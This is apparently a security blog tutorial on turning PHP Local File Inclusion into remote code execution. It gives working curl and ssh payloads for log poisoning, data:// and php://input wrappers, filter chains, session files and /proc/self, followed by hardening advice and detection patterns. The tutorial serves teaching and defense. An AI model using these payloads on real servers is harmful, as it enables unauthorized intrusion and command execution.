Disclaimer: This article is for educational purposes and for authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction
A Local File Inclusion (LFI) bug lets an attacker control the path passed to a PHP file-inclusion function (include, require, include_once, require_once). On its own, LFI is "read primitive": you can leak /etc/passwd, configuration files, or source code. The interesting question for an offensive engineer is how to escalate that read primitive into remote code execution (RCE).
This post walks through the five most reliable LFI-to-RCE pivots you will encounter on real engagements:
- Log poisoning (Apache/Nginx access logs, SSH, mail)
php://filterfor source disclosure and theconvert.iconv/zlibRCE chain- The
data://wrapper for direct payload injection - PHP session files (
/var/lib/php/sessions) /proc/self/environand/proc/self/fd
If you also have file-upload functionality, pair this with techniques from File Upload Bypass Techniques and the parameter-smuggling tricks in PHP Type Juggling.
How It Works
A vulnerable endpoint typically looks like this:
<?php
// page.php
$page = $_GET['page'];
include($page . ".php");PHPThe trailing .php is the classic obstacle. Modern PHP (≥ 5.3) ignores null bytes, so %00 truncation no longer works. Instead we rely on PHP stream wrappers and server-controlled files whose contents we can influence. The goal is always the same: make include parse attacker-controlled PHP source.
Prerequisites / Lab Setup
A minimal vulnerable lab with Docker:
mkdir lfi-lab && cd lfi-lab
cat > index.php <<'EOF'
<?php include($_GET['page'].".php"); ?>
EOF
docker run --rm -p 8080:80 -v "$PWD":/var/www/html php:8.2-apacheBashConfirm the read primitive first. The php://filter wrapper is the cleanest test because it never depends on a .php suffix on the target:
# Base64-encode the source so binary/PHP tags survive transport
curl 'http://target/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd%00'
# In modern PHP drop the %00 and use a resource without expecting .php:
curl 'http://target/index.php?page=php://filter/convert.base64-encode/resource=config'BashAttack Walkthrough
1. Log Poisoning (Apache / Nginx)
The most portable technique. We inject PHP into a log file the server writes, then include that log. The User-Agent header is the usual injection point because it is logged verbatim.
# Step 1: poison the access log with a PHP payload
curl 'http://target/' -A "<?php system(\$_GET['c']); ?>"
# Step 2: include the access log and pass a command
curl 'http://target/index.php?page=/var/log/apache2/access.log&c=id'BashCommon log paths to try:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/httpd/access_log
/var/log/auth.log # poison via: ssh '<?php system($_GET[c]);?>'@target
/var/log/mail.log # poison via SMTP RCPT TOPlaintextFor SSH-based auth-log poisoning, the username is logged on a failed login:
ssh '<?php system($_GET["c"]); ?>'@target
# Then: ?page=/var/log/auth.log&c=idBash2. The data:// Wrapper
If allow_url_include = On (off by default, but common on legacy or misconfigured hosts), the data:// wrapper inlines the payload — no file to poison:
# Plain
curl 'http://target/index.php?page=data://text/plain,<?php system("id");?>'
# Base64 (survives WAFs and URL-encoding better)
PAYLOAD=$(echo -n '<?php system($_GET["c"]); ?>' | base64)
curl "http://target/index.php?page=data://text/plain;base64,$PAYLOAD&c=id"BashThe php://input wrapper is the POST-body equivalent and also requires allow_url_include:
curl -X POST 'http://target/index.php?page=php://input' \
--data '<?php system("id"); ?>'Bash3. php://filter Chain (No Upload Needed)
When allow_url_include is off and no log is reachable, the filter chain technique (Synacktiv, 2022) builds an arbitrary payload byte-by-byte using convert.iconv encodings, requiring only a single LFI with no file write. Tools automate it:
# Gabriel Caillault / Synacktiv generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Output: php://filter/convert.iconv.UTF8.CSISO2022KR|...|resource=php://temp
curl 'http://target/index.php?page=<GENERATED_CHAIN>&c=id'Bash4. PHP Session Files
If you can put controlled data into a $_SESSION variable (e.g. a username field that gets stored), the serialized session file on disk becomes includable:
# Session files live here (PHPSESSID = your cookie value)
/var/lib/php/sessions/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
# 1. Make the app store '<?php system($_GET[c]);?>' into a session var
# 2. Include the session file:
curl -b 'PHPSESSID=abc123' \
'http://target/index.php?page=/var/lib/php/sessions/sess_abc123&c=id'Bash5. /proc/self/environ and /proc/self/fd
On older PHP-CGI setups, the request's User-Agent lands in the process environment:
curl 'http://target/index.php?page=/proc/self/environ' -A '<?php system($_GET["c"]);?>'Bash/proc/self/fd/N exposes open file descriptors — sometimes the access log or an uploaded temp file is reachable there when its real path is unknown:
for i in $(seq 0 30); do
curl -s "http://target/index.php?page=/proc/self/fd/$i&c=id" | grep -q uid && echo "FD $i hit"
doneBashAttack Flow Diagram

The diagram shows the decision tree: depending on PHP configuration and reachable write targets, an attacker picks data wrappers, log poisoning, session files, or a filter chain to reach RCE.
Detection & Defense (Blue Team)
Defending against LFI-to-RCE requires controls at the code, configuration, and monitoring layers.
1. Code-level fixes (primary control)
- Never pass user input directly to
include/require. Use an allowlist map:
$routes = ['home' => 'home.php', 'about' => 'about.php'];
include($routes[$_GET['page']] ?? '404.php');PHP- If a path must be dynamic, call
basename()andrealpath()and verify the result is inside an expected base directory.
2. PHP hardening (php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html:/tmp
disable_functions = system,exec,shell_exec,passthru,popen,proc_open
session.save_path = /var/lib/php/sessions ; restrictive perms, separate mountINIopen_basedir is the single highest-impact mitigation: it stops inclusion of /var/log/..., /proc/..., and /etc/passwd outright.
3. Detection / monitoring
- Alert on log entries containing
<?php,<?=, orsystem(insideUser-Agent, referer, or username fields — this is the signature of log poisoning. - Watch web access logs for
php://filter,php://input,data://,/proc/self/, andsess_in query strings. A WAF (ModSecurity CRS rule families 930xxx — LFI; 933xxx — PHP injection) catches most of these. - File Integrity Monitoring on
/var/lib/php/sessionsand unexpected execution of PHP from log directories.
This maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and T1059 (Command and Scripting Interpreter). For broader hardening guidance see Web Server Hardening Checklist.
Conclusion
LFI is rarely "just" a file read. With control of any server-written file — logs, sessions, process memory — or with a permissive PHP configuration, it escalates to full RCE. On the offensive side, work the decision tree: try the cheap php://filter source read first, then data wrappers, then log/session poisoning, and fall back to the php://filter chain when nothing is writable. On the defensive side, an allowlist plus allow_url_include = Off and open_basedir neutralizes nearly every path discussed here.
References
- MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- MITRE ATT&CK — T1059 Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
- OWASP — Testing for Local File Inclusion: https://owasp.org/www-project-web-security-testing-guide/
- HackTricks — File Inclusion / LFI to RCE: https://book.hacktricks.xyz/pentesting-web/file-inclusion
- Synacktiv — PHP filter chains: file read to RCE: https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it
- PHP Manual — Supported Protocols and Wrappers: https://www.php.net/manual/en/wrappers.php



Comments